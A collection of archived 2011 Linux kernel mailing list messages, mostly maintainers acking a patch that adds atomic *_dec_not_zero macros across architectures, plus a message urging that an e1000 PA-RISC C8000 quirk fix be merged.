Xref: news.gmane.org gmane.linux.ports.ia64:21637 gmane.linux.kernel:1135200 gmane.linux.ports.alpha:1415 gmane.linux.ports.arm.kernel:115886 gmane.linux.hardware.blackfin.kernel.devel:5413 gmane.linux.ports.mips.general:30903 gmane.linux.ports.parisc:3688 gmane.linux.ports.ppc64.devel:74047 gmane.linux.ports.sh.devel:10917 gmane.linux.ports.sparc:14855 gmane.linux.kernel.cross-arch:9706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21637>

On Tue, May 3, 2011 at 23:30, Sven Eckelmann <sven@narfation.org> wrote=
:
> Introduce an *_dec_not_zero operation. =C2=A0Make this a special case=
 of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.

> =C2=A0arch/m68k/include/asm/atomic.h =C2=A0 =C2=A0 | =C2=A0 =C2=A01 +

Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>

Gr{oetje,eeting}s,

=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0=C2=A0 =C2=A0=C2=A0 -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 04 May 2011 10:04:04 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <1304521444.2810.23.camel@mulgrave.site>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
	 <BANLkTiminpyJ_opxhqG0E0gBOrF490b+tQ@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304521471 26426 80.91.229.12 (4 May 2011 15:04:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 15:04:31 +0000 (UTC)
Cc: Sven Eckelmann <sven@narfation.org>, linux-kernel@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: Mike Frysinger <vapier.adi@gmail.com>
Original-X-From: linux-sh-owner@vger.kernel.org Wed May 04 17:04:22 2011
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1QHdcj-0001KJ-Rg
	for glps-linuxsh-dev@lo.gmane.org; Wed, 04 May 2011 17:04:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754777Ab1EDPEL (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 4 May 2011 11:04:11 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43516 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754693Ab1EDPEI (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 4 May 2011 11:04:08 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 549738EE11E;
	Wed,  4 May 2011 08:04:07 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 73FMpYj8FZQo; Wed,  4 May 2011 08:04:07 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 988D58EE0BE;
	Wed,  4 May 2011 08:04:05 -0700 (PDT)
In-Reply-To: <BANLkTiminpyJ_opxhqG0E0gBOrF490b+tQ@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:10918 gmane.linux.kernel:1135274 gmane.linux.ports.alpha:1416 gmane.linux.ports.arm.kernel:115914 gmane.linux.hardware.blackfin.kernel.devel:5414 gmane.linux.ports.ia64:21638 gmane.linux.ports.mips.general:30904 gmane.linux.ports.parisc:3689 gmane.linux.ports.ppc64.devel:74051 gmane.linux.ports.sparc:14856 gmane.linux.kernel.cross-arch:9707
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/10918>

On Wed, 2011-05-04 at 00:44 -0400, Mike Frysinger wrote:
> On Tue, May 3, 2011 at 17:30, Sven Eckelmann wrote:
> > Introduce an *_dec_not_zero operation.  Make this a special case of
> > *_add_unless because batman-adv uses atomic_dec_not_zero in different
> > places like re-broadcast queue or aggregation queue management. There
> > are other non-final patches which may also want to use this macro.
> >
> > Cc: uclinux-dist-devel@blackfin.uclinux.org
> >
> > --- a/arch/blackfin/include/asm/atomic.h
> > +++ b/arch/blackfin/include/asm/atomic.h
> > @@ -103,6 +103,7 @@ static inline int atomic_test_mask(int mask, atomic_t *v)
> >        c != (u);                                               \
> >  })
> >  #define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
> > +#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
> >
> >  /*
> >  * atomic_inc_and_test - increment and test
> 
> no opinion on the actual idea, but for the Blackfin pieces:
> Acked-by: Mike Frysinger <vapier@gentoo.org>

This goes for parisc as well.

Acked-by: James Bottomley <James.Bottomley@HansenPartnership.com>

James


--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.m68k,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 04 May 2011 18:27:36 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <1304530056.2296.1.camel@craptop>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1304530080 18665 80.91.229.12 (4 May 2011 17:28:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 17:28:00 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-m32r@ml.linux-m32r.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-cris-kernel@axis.com, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, x86@kernel.org,
	Chris Metcalf <cmetcalf@tilera.com>,
	David Howells <dhowells@redhat.com>,
	linux-m68k@vger.kernel.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 04 19:27:53 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QHfrc-0006aL-HC
	for glk-linux-kernel-3@lo.gmane.org; Wed, 04 May 2011 19:27:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754759Ab1EDR1m (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 4 May 2011 13:27:42 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:49129 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751524Ab1EDR1l (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 4 May 2011 13:27:41 -0400
Original-Received: from [10.37.7.18] ([10.37.7.18])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id p44HK3F9001742;
	Wed, 4 May 2011 18:20:03 +0100 (BST)
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
X-Mailer: Evolution 2.32.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1135360 gmane.linux.kernel.cross-arch:9708 gmane.linux.ports.mips.general:30905 gmane.linux.ports.ia64:21639 gmane.linux.ports.parisc:3690 gmane.linux.ports.sh.devel:10920 gmane.linux.ports.m68k:2264 gmane.linux.ports.alpha:1417 gmane.linux.ports.sparc:14857 gmane.linux.hardware.blackfin.kernel.devel:5415 gmane.linux.ports.ppc64.devel:74055 gmane.linux.ports.arm.kernel:115940
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1135360>

On Tue, 2011-05-03 at 22:30 +0100, Sven Eckelmann wrote:
> Introduce an *_dec_not_zero operation.  Make this a special case of
> *_add_unless because batman-adv uses atomic_dec_not_zero in different
> places like re-broadcast queue or aggregation queue management. There
> are other non-final patches which may also want to use this macro.
> 
For the ARM changes:

Acked-by: Will Deacon <will.deacon@arm.com>

Cheers,

Will



From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Wed, 4 May 2011 14:13:29 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <BANLkTinWa9E1_iLWyqAF+G8Qag=YK2T98A@mail.gmail.com>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1304532843 3914 80.91.229.12 (4 May 2011 18:14:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 4 May 2011 18:14:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, David Howells <dhowells@redhat.com>,
	Chris Metcalf <cmetcalf@tilera.com>, x86@kernel.org,
	linux-alpha@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m32r@ml.linux-m32r.org, linux-m68k@lists.linux-m68k.org,
	linux-mips@linux-mips.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed May 04 20:13:56 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QHga9-0000fT-Ac
	for glka-linux-arch@lo.gmane.org; Wed, 04 May 2011 20:13:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755153Ab1EDSNv convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>); Wed, 4 May 2011 14:13:51 -0400
Original-Received: from mail-qw0-f46.google.com ([209.85.216.46]:49500 "EHLO
	mail-qw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755150Ab1EDSNu convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 4 May 2011 14:13:50 -0400
Original-Received: by qwk3 with SMTP id 3so924063qwk.19
        for <multiple recipients>; Wed, 04 May 2011 11:13:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type:content-transfer-encoding;
        bh=iV5A6Hdagp0QOu9qzGkatnLVdEWa9xEERC805YIbK2g=;
        b=ARiNNEFBeZg9hyzUoHdP0qpgjkYWjaSWQMaIpSuOEU7Ng4l7K4+UNxbRFpz5xVYmlr
         SS1GzoNEMgMriacfqq/3Y7eYm3yx1wMs1NrgDno6vwKjioE9NL7TwgOkTHH9ioGNTZjm
         axP5fVnpgOk5HzPbAQCD/IPxh8/fyojzipjxA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=cYOJce8VpG868iJ0yzmRyAszW2Fl48ey7hvbXiW1SagCtjGsRA/MsLC5sr2D1GrN6v
         lY33gIN+ZbD4ljGMpWkvClkczjGlXLdRGW1Dtor7c1IGCIIYb1PQCYhK740p+hMGXtpC
         Ui6Z6P0EW941i+Z0I0Bn1ZACrUf7hqyjuNYuQ=
Original-Received: by 10.229.73.35 with SMTP id o35mr1127247qcj.13.1304532829087; Wed,
 04 May 2011 11:13:49 -0700 (PDT)
Original-Received: by 10.229.18.3 with HTTP; Wed, 4 May 2011 11:13:29 -0700 (PDT)
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9709 gmane.linux.kernel:1135387 gmane.linux.ports.alpha:1418 gmane.linux.ports.arm.kernel:115943 gmane.linux.hardware.blackfin.kernel.devel:5416 gmane.linux.ports.ia64:21640 gmane.linux.ports.mips.general:30906 gmane.linux.ports.parisc:3691 gmane.linux.ports.ppc64.devel:74056 gmane.linux.ports.sh.devel:10921 gmane.linux.ports.sparc:14858
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9709>

On Tue, May 3, 2011 at 5:30 PM, Sven Eckelmann <sven@narfation.org> wro=
te:
> diff --git a/arch/alpha/include/asm/atomic.h b/arch/alpha/include/asm=
/atomic.h
> index e756d04..7e9434e 100644
> --- a/arch/alpha/include/asm/atomic.h
> +++ b/arch/alpha/include/asm/atomic.h
> @@ -200,6 +200,7 @@ static __inline__ int atomic_add_unless(atomic_t =
*v, int a, int u)
> =A0}
>
> =A0#define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
> +#define atomic_dec_not_zero(v) atomic_add_unless((v), -1, 0)
>
> =A0/**
> =A0* atomic64_add_unless - add unless the number is a given value
> @@ -226,6 +227,7 @@ static __inline__ int atomic64_add_unless(atomic6=
4_t *v, long a, long u)
> =A0}
>
> =A0#define atomic64_inc_not_zero(v) atomic64_add_unless((v), 1, 0)
> +#define atomic64_dec_not_zero(v) atomic64_add_unless((v), -1, 0)
>
> =A0#define atomic_add_negative(a, v) (atomic_add_return((a), (v)) < 0=
)
> =A0#define atomic64_add_negative(a, v) (atomic64_add_return((a), (v))=
 < 0)
> diff --git a/arch/alpha/include/asm/local.h b/arch/alpha/include/asm/=
local.h
> index b9e3e33..09fb327 100644
> --- a/arch/alpha/include/asm/local.h
> +++ b/arch/alpha/include/asm/local.h
> @@ -79,6 +79,7 @@ static __inline__ long local_sub_return(long i, loc=
al_t * l)
> =A0 =A0 =A0 =A0c !=3D (u); =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0=
 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 \
> =A0})
> =A0#define local_inc_not_zero(l) local_add_unless((l), 1, 0)
> +#define local_dec_not_zero(l) local_add_unless((l), -1, 0)
>
> =A0#define local_add_negative(a, l) (local_add_return((a), (l)) < 0)
>

Acked-by: Matt Turner <mattst88@gmail.com> [alpha]

From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel,gmane.linux.network
Subject: Re: [E1000-devel] [PATCH] e1000: Allow the driver to be used on PA RISC C8000 workstation
Date: Fri, 06 May 2011 07:58:15 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <2567734.3Tpd1BeV4a@donald.sf-tec.de>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com> <AANLkTinga9dW9+4TQzE+f6Tt4kAEiXaprZjv+U+-a5Mq@mail.gmail.com> <1538517.jd8kKEpd3f@donald.sf-tec.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart10541031.JhSyI9djkO"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1304661499 29259 80.91.229.12 (6 May 2011 05:58:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 6 May 2011 05:58:19 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>,
	"kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"e1000-devel@lists.sourceforge.net" 
	<e1000-devel@lists.sourceforge.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>,
	netdev@vger.kernel.org
To: Jesse Brandeburg <jesse.brandeburg@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 06 07:58:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QIE3J-00020f-2f
	for glpp-linux-parisc@lo.gmane.org; Fri, 06 May 2011 07:58:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751938Ab1EFF6M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 May 2011 01:58:12 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:60858 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751637Ab1EFF6L (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 May 2011 01:58:11 -0400
Original-Received: (qmail 30989 invoked from network); 6 May 2011 05:58:08 -0000
Original-Received: from mnhm-5f75c2c6.pool.mediaways.net ([::ffff:95.117.194.198] HELO donald.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.19svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <jesse.brandeburg@gmail.com>; Fri, 06 May 2011 05:58:08 +0000
User-Agent: KMail/4.6 beta4 (Linux/2.6.37-12-desktop; KDE/4.6.2; i686; ; )
In-Reply-To: <1538517.jd8kKEpd3f@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3692 gmane.linux.drivers.e1000.devel:8356 gmane.linux.network:194525
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3692>


--nextPart10541031.JhSyI9djkO
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="ISO-8859-1"

Am Freitag, 18. M=E4rz 2011, 17:39:57 schrieb Rolf Eike Beer:
> Am Mittwoch, 2. M=E4rz 2011, 21:19:24 schrieb Jesse Brandeburg:
> > On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be> w=
rote:
> > > Hi Jeff,
> > >=20
> > > Any luck getting this into mainline ?
> >=20
> > Hi Guy, sorry for the delay,
> > We haven't been able to get our contacts in HP to give us a decent
> > response so far, we are following up with them to see whats up.  We=

> > have not lost the patch and are still tracking it internally.
> >=20
> > Give us a couple more weeks if that is okay and we should be able t=
o
> > settle this by then.

> I wonder what exactly you are waiting for? This is a sanity check tha=
t we
> disable, so no working systems could get broken by this. And every si=
ngle
> C8000 seems to be affected by this and is working fine with that patc=
h. So
> maybe people at HP might have a clue _why_ this is screwed, but until=
 then
> I don't see any point in waiting.
>=20
> So please just add my tested-by and push this upstream soon. Since th=
is is
> basically a hardware quirk I would like to get this into stable also =
so we
> may run vanilla 2.6.38.1 or something like that on C8000.
>=20
> Tested-by: Rolf Eike Beer <eike-kernel@sf-tec.de>

For the netdev folks: it's this patch we are talking about

http://www.spinics.net/lists/linux-parisc/msg03091.html

I would love to see that someone finally picks this up and pushes this=20=

upstream, CC stable. This is absolutely annoying as it breaks every tim=
e=20
anyone touches the kernel on one of this machines.

Jeff, David, James: can you please make a decision of who takes this an=
d then=20
just do it?

Eike
--nextPart10541031.JhSyI9djkO
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.15 (GNU/Linux)

iEYEABECAAYFAk3DjfwACgkQXKSJPmm5/E7FZQCgjvlHvwJjgD9o5YFDkiI6FH3z
vK0AoIxytoAgWa+wOI6l+wEh+BnmONN7
=6yl3
-----END PGP SIGNATURE-----

--nextPart10541031.JhSyI9djkO--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] atomic: add *_dec_not_zero
Date: Sun, 8 May 2011 10:24:03 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20110508092403.GB27807@n2100.arm.linux.org.uk>
References: <1304458235-28473-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1304846699 32415 80.91.229.12 (8 May 2011 09:24:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 8 May 2011 09:24:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mips@linux-mips.org, linux-m32r@ml.linux-m32r.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-cris-kernel@axis.com, linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org, x86@kernel.org,
	Chris Metcalf <cmetcalf@tilera.com>,
	David Howells <dhowells@redhat.com>,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	uclinux-dist-devel@blackfin.uclinux.org,
	linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun May 08 11:24:52 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QJ0EO-0000WV-1H
	for glk-linux-kernel-3@lo.gmane.org; Sun, 08 May 2011 11:24:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752924Ab1EHJYe (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 8 May 2011 05:24:34 -0400
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:49168 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751055Ab1EHJYc (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 8 May 2011 05:24:32 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=IUndsoD6xAL7Vws6YsrpZkfoP8BKP4c8hIlYddhG+5o=;
	b=LNjmFi8a8Cnz3iX1r1c8ceb0fiYeeOh6q2cwTc2mTQ/TpE0cVao3K6bVV9AigxrObkIds47KJCnHwr0zwKUOTefUbN2s8UsSIkqcJQ8qiihsYGXoiuBYocoRwC5RdpOA/BplZKNzhivy2Eee9IQXXfCLDD2vaXVB35WHb4Hbfhw=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux@arm.linux.org.uk>)
	id 1QJ0De-0003fn-FA; Sun, 08 May 2011 10:24:07 +0100
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux@n2100.arm.linux.org.uk>)
	id 1QJ0Dc-0007XK-Ds; Sun, 08 May 2011 10:24:04 +0100
Content-Disposition: inline
In-Reply-To: <1304458235-28473-1-git-send-email-sven@narfation.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
